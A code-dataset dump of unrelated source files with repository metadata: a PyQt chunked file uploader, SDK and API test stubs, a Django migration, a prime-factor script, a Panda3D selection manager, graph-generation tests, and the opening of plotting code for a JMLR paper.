#self.formlayout.addRow(self.jindu,self.pbar) self.formlayout.addRow(self.btn) self.btn.clicked.connect(self.execute) self.timer = QBasicTimer() self.step = 0 self.setGeometry(300, 300, 320, 200) def rbclicked(self): sender = self.sender() if sender == self.bg1: if self.bg1.checkedId() == 11: self.tokenurl = "https://www.casjc.com/portal/user/login/account" self.upfileurl = "https://console.casjc.com/portal/store/file/upload" self.useridurl = "https://console.casjc.com/portal/store/store/colonyList" self.changepemurl = "https://console.casjc.com/portal/store/file/merge" self.rbinfo = "线上" else: self.tokenurl = "http://11.2.77.3:30089/portal-test/user/login/account" self.upfileurl = "http://11.2.77.3:30089/portal-test/store/file/upload" self.useridurl = "http://11.2.77.3:30089/portal-test/store/store/colonyList" self.changepemurl = "http://11.2.77.3:30089/portal-test/store/file/merge" def timerEvent(self, e): global step if step >= 100: step = 0 self.pbar.setValue(step) self.timer.stop() self.btn.setText('完成') return def execute(self): self.btn.setEnabled(False) ''' if self.timer.isActive(): self.timer.stop() self.btn.setText('开始') else: self.timer.start(100, self) self.btn.setText('上传中') ''' aaa = 123 self.work = WorkThread() # 启动线程 myll = [self.login_session,self.filename_up,self.file_up,self.store_colonyid,self.store_path,self.username,self.store_userid,self.btn,self.changepemurl,self.upfileurl,self.btn] self.work.setval(myll) # 线程自定义信号连接的槽函数 ''' self.work.trigger.connect(self.display) self.selefile.setVisible(False) self.selefilename.setVisible(False) self.pbar.setVisible(False) self.jindu.setVisible(False) self.btn.setVisible(False) self.selefilenameup = QLabel("文件:" + self.filename_up + " 上传完成") self.formlayout.addRow(self.selefilenameup) ''' def display(self,val): print("start" + val) # 由于自定义信号时自动传递一个字符串参数,所以在这个槽函数中要接受一个参数 self.listWidget.addItem(str) class WorkThread(QThread): # 自定义信号对象。参数str就代表这个信号可以传一个字符串 trigger = pyqtSignal(str) def __int__(self): # 初始化函数 super(WorkThread, self).__init__() def setval(self,*val): self.session = val[0][0] self.filename = val[0][1] self.fullfilename = val[0][2] self.colonyId = val[0][3] self.colonyPath = val[0][4] self.username = val[0][5] self.userid = val[0][6] self.kuaidx = 2097152 md5 = hashlib.md5() with open(self.fullfilename,'rb') as f: for chunk in iter(lambda: f.read(self.kuaidx),b''): md5.update(chunk) #print(md5.hexdigest()) self.ident = md5.hexdigest() self.step = 0 self.start() self.btnname = val[0][7] self.upurl = val[0][9] self.meurl = val[0][8] #self.trigger.emit("dog") def run(self): #print(self.upurl) #print(self.meurl) #print(self.colonyId) #print(self.colonyPath) #触发自定义信号 self.btnname.setText('上传中') for i in range(1): # 通过自定义信号把待显示的字符串传递给槽函数 #self.trigger.emit(str(i)) header = {} header['Token'] = self.session dd = {} #文件大小 ffsize = os.path.getsize(self.fullfilename) print("文件大小: " + str(ffsize)) #文件分片块数 totalchunk = int(ffsize / self.kuaidx) if ffsize % self.kuaidx: totalchunk += 1 print("文件块数: " + str(totalchunk)) dd['chunkSize'] = (None,self.kuaidx) dd['totalSize'] = (None,ffsize) dd['identifier'] = (None,self.ident) dd['filename'] = (None,self.filename) dd['relativePath'] = (None,self.filename) dd['totalChunks'] = (None,totalchunk) dd['accept'] = (None,"*") dd['userId'] = (None,self.userid) dd['colonyId'] = (None,self.colonyId) dd['toPath'] = (None,"/") dd['userHomeDir'] = (None, self.colonyPath) with open(self.fullfilename,'rb') as f: chunknumber = 0 for chunk in iter(lambda: f.read(self.kuaidx),b''): chunknumber += 1 #print("当前块编号:" + str(chunknumber)) if len(chunk) < self.kuaidx: kuaisj = len(chunk) else: kuaisj = self.kuaidx #print(kuaisj) dd['chunkNumber'] = (None,chunknumber) dd['currentChunkSize'] = (None,kuaisj) dd['upfile'] = (self.filename,chunk) while True: try: r = requests.post(self.upurl,headers=header,files=dd) #print(r.content) if r.json()['code'] == 200: self.step = self.step + (100/totalchunk) self.btnname.setText('上传中 (' + str(int(self.step))+ ' %)') break except requests.exceptions.Timeout as e: print('请求超时:'+str(e.message)) except requests.exceptions.HTTPError as e: print('http请求错误:'+str(e.message)) except requests.exceptions.ConnectionError: print('网卡断了') header2 = {} header2['Token'] = self.session header2['Content-Type'] = "application/json" dd2 = {} dd2['colonyId'] = self.colonyId dd2['filename'] = self.filename dd2['identifier'] = self.ident dd2['isFolder'] = False dd2['toPath'] = "/" dd2['totalSize'] = ffsize dd2['totalChunks'] = totalchunk dd2['relativePath'] = self.filename dd2['userHomeDir'] = self.colonyPath dd2['userId'] = self.userid r = requests.post(self.meurl,headers=header2, data=json.dumps(dd2)) print(r.content) self.btnname.setText('完成') if __name__ == "__main__": app = QApplication(sys.argv) myWin = MyMainForm() myWin.show() sys.exit(app.exec_())
[ "335916781@qq.com" ]
335916781@qq.com
6beb23d647745a308be0869da61a993aa0aff98b
ccf94dcb6b1500fcbbd56964ae8c4832a496b8b3
/python/baiduads-sdk-auto/test/test_get_hit_customer_policy_response_wrapper.py
00a7cf98be3ac3940848931d77db3651c4cc6030
[ "Apache-2.0" ]
permissive
baidu/baiduads-sdk
24c36b5cf3da9362ec5c8ecd417ff280421198ff
176363de5e8a4e98aaca039e4300703c3964c1c7
refs/heads/main
2023-06-08T15:40:24.787863
2023-05-20T03:40:51
2023-05-20T03:40:51
446,718,177
16
11
Apache-2.0
2023-06-02T05:19:40
2022-01-11T07:23:17
Python
UTF-8
Python
false
false
1,158
py
""" dev2 api schema 'dev2.baidu.com' api schema # noqa: E501 Generated by: https://openapi-generator.tech """ import sys import unittest import baiduads from baiduads.common.model.api_response_header import ApiResponseHeader from baiduads.shieldfunction.model.get_hit_customer_policy_response_wrapper_body import GetHitCustomerPolicyResponseWrapperBody globals()['ApiResponseHeader'] = ApiResponseHeader globals()['GetHitCustomerPolicyResponseWrapperBody'] = GetHitCustomerPolicyResponseWrapperBody from baiduads.shieldfunction.model.get_hit_customer_policy_response_wrapper import GetHitCustomerPolicyResponseWrapper class TestGetHitCustomerPolicyResponseWrapper(unittest.TestCase): """GetHitCustomerPolicyResponseWrapper unit test stubs""" def setUp(self): pass def tearDown(self): pass def testGetHitCustomerPolicyResponseWrapper(self): """Test GetHitCustomerPolicyResponseWrapper""" # FIXME: construct object with mandatory attributes with example values # model = GetHitCustomerPolicyResponseWrapper() # noqa: E501 pass if __name__ == '__main__': unittest.main()
[ "tokimekiyxp@foxmail.com" ]
tokimekiyxp@foxmail.com
911ca58c9609243397f7590c354a1e147e710862
c4edcdff1a4ebe45e7198aaf65caf3a1f71053ab
/git_version/migrations/0001_initial.py
4d5f800ce654c259c96cf37e3a2aabd9f1291b5b
[]
no_license
FriskByBergen/friskby
5584cb2ea099e2c0fecd4762f56effc714fd06ee
7a444af87c23ffd6b638055e49ccd608efcd3ee6
refs/heads/master
2020-05-21T15:09:43.367245
2017-06-06T17:48:58
2017-06-06T17:48:58
45,236,960
3
10
null
2017-06-06T17:48:59
2015-10-30T07:58:33
Python
UTF-8
Python
false
false
809
py
# -*- coding: utf-8 -*- # Generated by Django 1.9.6 on 2016-05-30 05:41 from __future__ import unicode_literals from django.db import migrations, models class Migration(migrations.Migration): initial = True dependencies = [ ] operations = [ migrations.CreateModel( name='GitVersion', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('ref', models.CharField(max_length=128, verbose_name='Git ref')), ('repo', models.CharField(default='https://github.com/FriskbyBergen/friskby', max_length=128, verbose_name='Git repo')), ('description', models.CharField(max_length=256, verbose_name='Description')), ], ), ]
[ "joakim.hove@gmail.com" ]
joakim.hove@gmail.com
022a476e7bc7b8adc80c0bfed5f3a6e1c0d3267d
4dc6bad17eb370d44f3c0f34b6bc9c9ea6c174ae
/app/api/tests/test_vendor.py
22031768d6191d71ea67014d98df28c9d731ab26
[ "BSD-3-Clause", "CC0-1.0", "MIT", "LicenseRef-scancode-public-domain" ]
permissive
snakrani/discovery
d9adafe2005e792fecd76cd765584ed15b49363d
99690f186a194cabef6a5d1ad18fca715be1e187
refs/heads/develop
2023-03-30T21:54:55.826631
2019-04-25T15:32:38
2019-04-25T15:32:38
183,462,643
0
0
NOASSERTION
2022-11-19T09:19:44
2019-04-25T15:34:16
Python
UTF-8
Python
false
false
14,836
py
from django.test import tag from test import cases as case from test import fixtures as data @tag('vendor') class VendorTest(case.APITestCase, metaclass = case.MetaAPISchema): fixtures = data.get_vendor_fixtures() schema = { 'object': { 'tags': ('vendor_object',), '&007901598': ('name', 'exact', 'BATTELLE MEMORIAL INSTITUTE'), '&133239397': ('name', 'exact', 'MIRACLE SYSTEMS, LLC'), '&001014182': ('name', 'exact', 'DYNAMICS RESEARCH CORPORATION'), '#345': (), '#ABCDEFG': () }, 'ordering': { 'tags': ('vendor_ordering',), 'fields': ( 'name', 'duns', 'cage', 'sam_status', 'sam_exclusion', 'sam_url', 'sam_location__address', 'sam_location__city', 'sam_location__state', 'sam_location__zipcode', 'sam_location__congressional_district', 'annual_revenue', 'number_of_employees', 'number_of_contracts' ) }, 'pagination': { 'tags': ('vendor_pagination',), '@no_args': {}, '@page': {'page': 3}, '@count': {'count': 10}, '@mixed': {'page': 2, 'count': 10} }, 'search': { 'tags': ('vendor_search',), '@search1': ('name', 'regex', 'SERVICES'), '*search2': ('duns', 'exact', '830333824'), '*search3': ('cage', 'exact', '3K773') }, 'fields': { 'name': { 'tags': ('vendor_field', 'fuzzy_text'), '*exact': 'DYNAMICS RESEARCH CORPORATION', '@iexact': 'native energy & technology, inc.', '@in': ('ENGILITY CORPORATION', 'CBRE', 'POWERTRAIN'), '@contains': 'RESEARCH', '@icontains': 'technologies', '@startswith': 'M', '@istartswith': 'applied', '@endswith': 'LLC', '@iendswith': 'llc', '@regex': '\d+', '@iregex': 'inc\.?$' }, 'duns': { 'tags': ('vendor_field', 'number'), '*exact': '097967608', '@lt': '193460839', '@lte': '193460839', '@gt': '193460839', '@gte': '193460839', '@range': '074108176,196004394', '@in': ('055124077', '838295400', '003184462') }, 'cage': { 'tags': ('vendor_field', 'token_text'), '*exact': '3A3Q8', '*iexact': '3A3Q8', '@in': ('4L767', '4SJK4', '4U825') }, 'sam_status': { 'tags': ('vendor_field', 'token_text'), '@exact': 'ACTIVE', '@iexact': 'active', '@in': "ACTIVE" }, 'sam_activation_date': { 'tags': ('vendor_field', 'date_time'), '@date': '2018-02-08', '@year': '2018', '@month': '2', '@day': '9', '@week': '5', '@week_day': '2', '@quarter': '1' }, 'sam_expiration_date': { 'tags': ('vendor_field', 'date_time'), '@date': '2019-02-08', '@year': '2019', '@month': '2', '@day': '9', '@week': '5', '@week_day': '3', '@quarter': '1' }, 'sam_exclusion': { 'tags': ('vendor_field', 'boolean'), '-exact': True, '@exact': False, }, 'sam_url': { 'tags': ('vendor_field', 'fuzzy_text'), '@exact': 'http://www.act-corp.com', '@iexact': 'http://WWW.ACT-CORP.COM', '@in': ("http://www.sainc.com", "https://www.atlasresearch.us"), '@contains': 'sys', '@icontains': 'SYS', '@startswith': 'http://www.', '@istartswith': 'HTTP://WWW.', '@endswith': '.com', '@iendswith': '.COM', '@regex': '\d+', '@iregex': 'www\.[^\.]+\.com' }, 'sam_location__address': { 'tags': ('vendor_field', 'location_field', 'fuzzy_text'), '@exact': '7000 Muirkirk Meadows Dr', '@iexact': '7000 muirkirk meadows dr', '@in': ("1002 Explorer Blvd", "8600 Boeing Dr"), '@contains': 'South', '@icontains': 'dEErfield pOnd', '@startswith': '7500', '@istartswith': '6710 ro', '@endswith': 'Ave', '@iendswith': 'ave', '@regex': 'Ste \d+$', '@iregex': 'ste \d+$' }, 'sam_location__city': { 'tags': ('vendor_field', 'location_field', 'fuzzy_text'), '@exact': 'Carlisle', '@iexact': 'arlington', '@in': ("Atlanta", "Reston", "Northville"), '@contains': 'vill', '@icontains': 'on', '@startswith': 'Mc', '@istartswith': 'mc', '@endswith': 'ville', '@iendswith': 'DA', '@regex': 'Springs', '@iregex': 'TOWN' }, 'sam_location__state': { 'tags': ('vendor_field', 'location_field', 'token_text'), '@exact': 'DC', '@iexact': 'dc', '@in': ("DC","CA","TX","VA") }, 'sam_location__zipcode': { 'tags': ('vendor_field', 'location_field', 'fuzzy_text'), '@exact': '20190', '@iexact': '20190', '@in': ("20190", "93033", "22102"), '@contains': '210', '@icontains': '210', '@startswith': '35', '@istartswith': '35', '@endswith': '710', '@iendswith': '710', '@regex': '^[13579]+', '@iregex': '^[13579]+' }, 'sam_location__congressional_district': { 'tags': ('vendor_field', 'location_field', 'token_text'), '@exact': '07', '@iexact': '07', '@in': ("07", "04", "08", "01") }, 'pools__pool__id': { 'tags': ('vendor_field', 'membership_field', 'token_text'), '@exact': 'BMO_SB_10', '@iexact': 'hcaTs_Sb_2', '@in': ("BMO_8", "OASIS_4", "HCATS_SB_1") }, 'pools__piid': { 'tags': ('vendor_field', 'membership_field', 'fuzzy_text'), '@exact': 'GS00Q14OADU208', '@iexact': 'gs00Q14Oadu208', '@in': ("GS00Q14OADU343", "GS02Q16DCR0086"), '@contains': 'OAD', '@icontains': 'Oad', '@startswith': 'GS02', '@istartswith': 'gs02', '@endswith': '102', '@iendswith': 's102', '@regex': '^GS\d+', '@iregex': '^(gs06|gs00)' }, 'pools__expiration_8a_date': { 'tags': ('vendor_field', 'membership_field', 'date_time'), '@date': '2022-07-19', '@year': '2017', '@month': '7', '@day': '19', '@week': '32', '@week_day': '3', '@quarter': '1' }, 'pools__pool__name': { 'tags': ('vendor_field', 'membership_field', 'pool_field', 'fuzzy_text'), '@exact': 'Elevator Maintenance', '@iexact': 'janitoRial', '@in': ("Roofing Services", "Plumbing and Pipefitting"), '@contains': 'Waste', '@icontains': 'energy engineering', '@startswith': 'HVAC', '@istartswith': 'hvac', '@endswith': 'Maintenance', '@iendswith': 'dEVelopment', '@regex': '\d+$', '@iregex': 'air.*development$' }, 'pools__pool__number': { 'tags': ('vendor_field', 'membership_field', 'pool_field', 'token_text'), '@exact': '8', '@iexact': '9', '@in': ('1', '3', '5B', '16') }, 'pools__pool__threshold': { 'tags': ('vendor_field', 'membership_field', 'pool_field', 'fuzzy_text'), '@exact': '$15 million', '@iexact': '$7.5 MILLION', '@in': ("1000 employee", "$18 million", "500 employee"), '@contains': 'employee', '@icontains': 'EmplOYeE', '@startswith': '$38.5', '@istartswith': '$38.5', '@endswith': 'million', '@iendswith': 'MillIon', '@regex': '^\d+\s+', '@iregex': '(500 EMPLOYEE|MILLION)' }, 'pools__setasides__code': { 'tags': ('vendor_field', 'membership_field', 'setaside_field', 'token_text'), '@exact': 'QF', '@iexact': 'a2', '@in': ('XX', 'A5', '27') }, 'pools__setasides__name': { 'tags': ('vendor_field', 'membership_field', 'setaside_field', 'token_text'), '@exact': 'WO', '@iexact': 'hubz', '@in': ('8(A)', 'SDVO', 'HubZ') }, 'pools__setasides__description': { 'tags': ('vendor_field', 'membership_field', 'setaside_field', 'fuzzy_text'), '@exact': 'Veteran Owned', '@iexact': 'hubzone', '@in': ("8(A)", "Woman Owned", "Small Disadvantaged Business"), '@contains': 'Disadvantaged', '@icontains': 'woman', '@startswith': '8', '@istartswith': 'hu', '@endswith': 'Owned', '@iendswith': 'owned', '@regex': '^\d+', '@iregex': 'Vet(eran)?' }, 'pools__setasides__far_order': { 'tags': ('vendor_field', 'membership_field', 'setaside_field', 'number'), '@exact': 3, '@lt': 4, '@lte': 4, '@gt': 3, '@gte': 3, '@range': (2, 5), '@in': (2, 3, 5) }, 'pools__zones__id': { 'tags': ('vendor_field', 'membership_field', 'zone_field', 'number'), '@exact': 2, '@lt': 4, '@lte': 4, '@gt': 3, '@gte': 3, '@range': (2, 5), '@in': (2, 3, 5) }, 'pools__contacts__name': { 'tags': ('vendor_field', 'membership_field', 'contact_field', 'fuzzy_text'), '@exact': 'Ken Scott', '@iexact': 'daniel eke', '@in': ("Ken Scott", "Daniel Eke"), '@contains': 'Taylor', '@icontains': 'taylor', '@startswith': 'Ben', '@istartswith': 'ben', '@endswith': 'Scott', '@iendswith': 'scott', '@regex': '^[A-Za-z]{4}\s+', '@iregex': '^da(n|na)' }, 'pools__contacts__order': { 'tags': ('vendor_field', 'membership_field', 'contact_field', 'number'), '@exact': 1, '@lt': 2, '@lte': 2, '@gt': 1, '@gte': 1, '@range': (1, 2), '@in': (1, 2) } }, 'requests': { '@membership1': { 'tags': ('vendor_request',), 'params': {'membership': '(pool__vehicle__id=PSS)&(setasides__code=A6)&(setasides__code=XX)'}, 'tests': ( ('pools__pool__vehicle__id', 'exact', 'PSS'), ('pools__setasides__code', 'in', ('A6', 'XX')), ) }, '-membership2': { 'tags': ('vendor_request',), 'params': {'membership': '(pool__vehicle__id=BMO)&(setasides__code=A6)&(setasides__code=XX)'}, 'tests': ( ('pools__pool__vehicle__id', 'exact', 'BMO'), ('pools__setasides__code', 'in', ('A6', 'XX')), ) } } } def initialize(self): self.router = 'vendors' def validate_object(self, resp, base_key = []): resp.is_not_empty(base_key + ['name']) resp.is_int(base_key + ['duns']) resp.is_int(base_key + ['duns_4']) if resp.check('is_not_in', base_key + ['duns'], ('614155380', '148815173', '831340356', '246802545')): resp.is_not_empty(base_key + ['cage']) resp.is_not_empty(base_key + ['sam_status']) resp.is_not_none(base_key + ['sam_exclusion']) resp.is_not_empty(base_key + ['sam_activation_date']) resp.is_not_empty(base_key + ['sam_expiration_date'])
[ "adrian@webb.sh" ]
adrian@webb.sh
a86d76d1dc046199d8b9687e4fd0dd3c904cc787
54d8a05e0238e96eb43e4893bacba024e490bf11
/python-projects/algo_and_ds/prime_factoras.py
bbf5b73c210c45398fd5235ff4e25e5c40b05128
[]
no_license
infinite-Joy/programming-languages
6ce05aa03afd7edeb0847c2cc952af72ad2db21e
0dd3fdb679a0052d6d274d19040eadd06ae69cf6
refs/heads/master
2023-05-29T10:34:44.075626
2022-07-18T13:53:02
2022-07-18T13:53:02
30,753,185
3
5
null
2023-05-22T21:54:46
2015-02-13T11:14:25
Jupyter Notebook
UTF-8
Python
false
false
707
py
# find the prime factors based on the geeks for geeks tut from math import sqrt def is_prime(n): if n == 1: return 1 if n == 2: return True if n == 3: return True if n % 2 == 0 or n % 3 == 0: return False for i in range(5, int(sqrt(n)), 6): if (n % i == 0) or (n % (i + 2) == 0): return False return True def print_prime_factors(n): print("printing prime factors of {}".format(n)) if n <= 1: return i = 2 while n >= i * i: if is_prime(i): while n % i == 0: print(i) n /= i i += 1 if n > 1: print(int(n)) print_prime_factors(450) print_prime_factors(84)
[ "joydeepubuntu@gmail.com" ]
joydeepubuntu@gmail.com
b8688c90ac225fe9f656e6f7b494f754c01ab1bd
f02e654d5590a861804e3220ed76ba2192e1699b
/simulator/selectionmanager.py
9ad5c1ccfd532073cda2be6ad7e765cab0e059be
[ "BSD-3-Clause" ]
permissive
AmarNathH/software
73e2afd3affaf2c1595b406480edac8b8fb2fcac
e225810c7501250f48add43349a64f49450cc79f
refs/heads/master
2020-12-02T20:50:18.439874
2017-07-03T16:51:07
2017-07-03T16:51:07
96,219,939
1
0
null
null
null
null
UTF-8
Python
false
false
4,940
py
from direct.showbase.DirectObject import DirectObject from panda3d.core import KeyboardButton from panda3d.core import MouseButton from panda3d.core import NodePath from panda3d.core import Point3 from panda3d.core import Vec4 from mouseevent import MouseEventListener from selectionengine import SelectionEngine from handles import Handle from cameracontroller import CameraController, EVT_CAMERA_MODE, TRACKBALL class SelectionManager(DirectObject, MouseEventListener): defaultMgr = None @classmethod def getDefault(cls): if cls.defaultMgr == None: cls.defaultMgr = SelectionManager() return cls.defaultMgr @classmethod def setDefault(cls, manager): cls.defaultMgr = manager def __init__(self, selectionEngine = None): self.selection = [] self.enabled = False self.editMode = None if selectionEngine == None: selectionEngine = SelectionEngine.getDefault() self.engine = selectionEngine self.engine.addMouseListener(self) self.handle = Handle() self.handle.setClients([]) render.attachNewNode(self.handle) CameraController.getInstance().addEventHandler(EVT_CAMERA_MODE, self._cameraModeHandler) self.accept('f', self._setFocus) def getSelectionCenter(self): if not self.selection: return Point3() else: min, max = Point3(), Point3() tmpmin, tmpmax = Point3(), Point3() np = NodePath(self.selection[0]) np.calcTightBounds(min, max) min += np.getPos(render) - np.getPos() max += np.getPos(render) - np.getPos() for i in xrange(1, len(self.selection)): np = NodePath(self.selection[i]) np.calcTightBounds(tmpmin, tmpmax) if np.getParent() != render: tmpmin += np.getPos(render) - np.getPos() tmpmax += np.getPos(render) - np.getPos() min = min.fmin(tmpmin) max = max.fmax(tmpmax) return Point3(min + (max - min)/2) def _setFocus(self): # This function handles presses of the F key. if self.selection: CameraController.getInstance().setFocus(self.getSelectionCenter()) else: CameraController.getInstance().setFocus(Point3()) def _cameraModeHandler(self, cameraController): if cameraController.getCameraMode() == TRACKBALL: self.enable(True) else: self.enable(False) def enable(self, enabled=True): if self.enabled and enabled == False: self.deselectAll() self.handle.setClients([]) self.enabled = enabled def registerNode(self, node): print 'registering new node to selmgr', node node.addMouseListener(self) def removeNode(self, node): node.removeMouseListener(self) if node in self.selection: node.setSelected(False) self.selection.remove(node) def deselectAll(self): for node in self.selection: node.setSelected(False) self.selection = [] def _setEditMode(self, editMode): if self.editMode == editMode: return self.editMode = editMode if editMode: self.engine.setHighlightColor(Vec4(1, 0.8, 0, 1)) else: self.engine.setHighlightColor(Vec4(0.6, 0.6, 1, 1)) self.deselectAll() def mousePressed(self, event): print 'got mouse pressed event from', event.sender if (not self.enabled or event.modifiers.isDown(KeyboardButton.control())): print 'short circuiting' return shiftDown = event.modifiers.isDown(KeyboardButton.shift()) if event.sender == self.engine: if not shiftDown: self.deselectAll() else: self._setEditMode(event.modifiers.isDown(MouseButton.three())) node = event.sender if shiftDown: # Shift-clicking a node toggles its selected state. if node.isSelected(): self.selection.remove(node) node.setSelected(False) else: self.selection.append(node) node.setSelected(True) elif len(self.selection) == 1 and node.isSelected(): # This is already the only node selected. return else: print 'selecting', node self.deselectAll() node.setSelected(True) self.selection.append(node) if self.editMode: self.handle.setClients([NodePath(n) for n in self.selection], self.getSelectionCenter()) else: self.handle.setClients([])
[ "software@cuauv.org" ]
software@cuauv.org
bcc70fcaea7e68b2cda51f40ce9e39dcc644bcae
8f0b0ec0a0a2db00e2134b62a1515f0777d69060
/scripts/study_case/ID_4/test/utils/test_random.py
8fd3068976605ffd63ea7b8c208e9a7cd2274945
[ "Apache-2.0", "MIT" ]
permissive
Liang813/GRIST
2add5b4620c3d4207e7661eba20a79cfcb0022b5
544e843c5430abdd58138cdf1c79dcf240168a5f
refs/heads/main
2023-06-09T19:07:03.995094
2021-06-30T05:12:19
2021-06-30T05:12:19
429,016,034
0
0
Apache-2.0
2021-11-17T11:19:48
2021-11-17T11:19:47
null
UTF-8
Python
false
false
1,382
py
import torch import numpy as np from scripts.study_case.ID_4.torch_geometric.utils import ( erdos_renyi_graph, stochastic_blockmodel_graph, barabasi_albert_graph) def test_erdos_renyi_graph(): torch.manual_seed(1234) edge_index = erdos_renyi_graph(5, 0.2, directed=False) assert edge_index.tolist() == [ [0, 1, 1, 1, 2, 4], [1, 0, 2, 4, 1, 1], ] edge_index = erdos_renyi_graph(5, 0.5, directed=True) assert edge_index.tolist() == [ [1, 1, 2, 2, 3, 4, 4, 4], [0, 3, 0, 4, 0, 0, 1, 3], ] def test_stochastic_blockmodel_graph(): torch.manual_seed(12345) block_sizes = [2, 2, 4] edge_probs = [ [0.25, 0.05, 0.02], [0.05, 0.35, 0.07], [0.02, 0.07, 0.40], ] edge_index = stochastic_blockmodel_graph( block_sizes, edge_probs, directed=False) assert edge_index.tolist() == [ [2, 3, 4, 4, 5, 5, 6, 7, 7, 7], [3, 2, 5, 7, 4, 7, 7, 4, 5, 6], ] edge_index = stochastic_blockmodel_graph( block_sizes, edge_probs, directed=True) assert edge_index.tolist() == [ [0, 1, 3, 5, 6, 6, 7, 7], [3, 3, 2, 4, 4, 7, 5, 6], ] def test_barabasi_albert_graph(): torch.manual_seed(12345) np.random.seed(12345) edge_index = barabasi_albert_graph(num_nodes=8, num_edges=3) assert edge_index.size() == (2, 26)
[ "793679547@qq.com" ]
793679547@qq.com
b0140e72078c2d355dadca3442139240028b1641
d6d6e3bebfca91ae10d1a269ec7d060a6bf3c8cd
/RMB_Classify/__init__.py
f0fbf238946ec3f152a96441fbb9ccf096fb845b
[]
no_license
darrenzhang1007/PyTorch_From_Zero_To_One
a1bb939cafd546e4625b0df0123c0f86d2af6499
b94e1cca2e28fb22accd2eee859d13e9e7bc25f2
refs/heads/master
2022-10-17T03:53:42.388743
2020-06-11T07:54:33
2020-06-11T07:54:33
null
0
0
null
null
null
null
UTF-8
Python
false
false
174
py
# -*- coding: utf-8 -*- # @Time : 2020/5/4 14:45 # @Author : DarrenZhang # @FileName: __init__.py.py # @Software: PyCharm # @Blog :https://www.yuque.com/darrenzhang
[ "785320051@qq.com" ]
785320051@qq.com
258773d6ac98d1988fa1fd90ce30a4530468aaf3
4c229dfd4ee6ae16827bd6fe68c24ea33959e96c
/vision/env/lib/python3.6/shutil.py
594467567a4be3e98a0b6409136d84f514430afe
[]
no_license
ZhitongW/HackHarvard_ThinkTwice
93b303ece3fa3b27dc4d4775549a76dfc9542dde
09e486d2c477997e6628a71bf64e30f27c79e534
refs/heads/master
2021-07-23T11:48:31.696513
2017-10-22T13:00:40
2017-10-22T13:00:40
107,892,073
0
0
null
null
null
null
UTF-8
Python
false
false
44
py
/home/bill/anaconda3/lib/python3.6/shutil.py
[ "billchen99@gmail.com" ]
billchen99@gmail.com
a5af9cd5ddbb18383b2c22b44b4ed0f5d9cdca77
6032f996f989d521dbdee23ce6c1fbd778d8e964
/jmlr.py
87ea75f4ce9d22ca70562133cd6d120a1c6c2793
[ "MIT" ]
permissive
npow/qb
9af1c07afd10f6aad9dbcbdd9209c6fde0e4347f
044e623d2cbda96209fa1fdedffefa2208c98755
refs/heads/master
2020-05-26T15:41:13.864334
2019-05-26T16:47:07
2019-05-26T16:47:07
188,290,907
0
0
null
2019-05-23T19:02:23
2019-05-23T19:02:23
null
UTF-8
Python
false
false
20,948
py
""" This code produces the plots for our JMLR paper. It assumes you have an anaconda environment like in environment.yaml Some of this code is copy pasted from the code in qanta/ so that the plotting code can be run independently. We also include a command for downloading processed results which are non-trivial to reproduce in a single script. For example, in our analysis we use Stanford CoreNLP in server mode, and that analysis consumes over 60GB of RAM. Instead of including only the source data we provide intermediate output so that changing plots without rerunning is easy. The code for all the analysis is provided, but will not run unless a flag to not use cached intermediate results is passed. """ import json import math import pickle import glob from pprint import pprint import sys import csv from collections import defaultdict, Counter from functional import seq, pseq import spacy import unidecode import nltk import numpy as np import pandas as pd from os import path, makedirs import requests import re from bs4 import BeautifulSoup from pandas.api.types import CategoricalDtype from tqdm import tqdm import click from pyspark import SparkConf, SparkContext from plotnine import ( ggplot, aes, xlab, ylab, labs, lims, ggtitle, facet_grid, facet_wrap, geom_histogram, geom_density, geom_segment, geom_text, geom_bar, geom_violin, geom_boxplot, geom_step, geom_vline, geom_line, geom_point, geom_dotplot, stat_ecdf, stat_ydensity, stat_bin, scale_color_manual, scale_color_discrete, scale_fill_manual, scale_fill_discrete, scale_x_continuous, scale_y_continuous, scale_x_log10, scale_y_log10, coord_flip, theme, theme_light, element_line, element_rect, element_text, element_blank, arrow ) COLORS = [ '#49afcd', '#ff7f0e', '#2ca02c', '#d62728', '#9467bd', '#8c564b', '#e377c2', '#7f7f7f', '#bcbd22', '#17becf' ] output_path = 'output/plots/' S3 = 'https://s3-us-west-2.amazonaws.com/pinafore-us-west-2/qanta-jmlr-datasets/{}' FILES = [ (S3.format('paper/emnlp_2012_questions.csv'), 'data/external/emnlp_2012_questions.csv'), (S3.format('paper/emnlp_2014_questions.jsonl'), 'data/external/emnlp_2014_questions.jsonl'), (S3.format('qanta.mapped.2018.04.18.json'), 'data/external/datasets/qanta.mapped.2018.04.18.json'), (S3.format('paper/syntactic_diversity_table.json', 'data/external/syntactic_diversity_table.json')) ] GUESSER_SHORT_NAMES = { 'qanta.guesser.rnn.RnnGuesser': 'RNN', 'qanta.guesser.dan.DanGuesser': 'DAN', 'qanta.guesser.elasticsearch.ElasticSearchGuesser': 'IR', 'qanta.guesser.vw.VWGuesser': 'VW', 'ELASTICSEARCH': 'IR' } def to_shortname(name): if name in GUESSER_SHORT_NAMES: return GUESSER_SHORT_NAMES[name] else: return name def to_precision(x, p): """ returns a string representation of x formatted with a precision of p Based on the webkit javascript implementation taken from here: https://code.google.com/p/webkit-mirror/source/browse/JavaScriptCore/kjs/number_object.cpp """ x = float(x) if x == 0.: return "0." + "0"*(p-1) out = [] if x < 0: out.append("-") x = -x e = int(math.log10(x)) tens = math.pow(10, e - p + 1) n = math.floor(x/tens) if n < math.pow(10, p - 1): e = e -1 tens = math.pow(10, e - p+1) n = math.floor(x / tens) if abs((n + 1.) * tens - x) <= abs(n * tens -x): n = n + 1 if n >= math.pow(10,p): n = n / 10. e = e + 1 m = "%.*g" % (p, n) if e < -2 or e >= p: out.append(m[0]) if p > 1: out.append(".") out.extend(m[1:p]) out.append('e') if e > 0: out.append("+") out.append(str(e)) elif e == (p -1): out.append(m) elif e >= 0: out.append(m[:e+1]) if e+1 < len(m): out.append(".") out.extend(m[e+1:]) else: out.append("0.") out.extend(["0"]*-(e+1)) out.append(m) return "".join(out) class CurveScore: def __init__(self): with open('output/reporting/curve_pipeline.pkl', 'rb') as f: self.pipeline = pickle.load(f) def get_weight(self, x): return self.pipeline.predict(np.asarray([[x]]))[0] curve_score = CurveScore() def read_report(path, fold): with open(path, 'rb') as f: prp = pickle.load(f) params = prp['guesser_params'] guesser_name = prp['guesser_name'].split('.')[-1].replace('Guesser', '').upper() if guesser_name == 'ELASTICSEARCH': guesser_name = 'IR' return { 'First Sentence': prp['first_accuracy'], 'Full Question': prp['full_accuracy'], 'guesser_name': guesser_name, 'fold': 'guess' + fold, 'wiki': 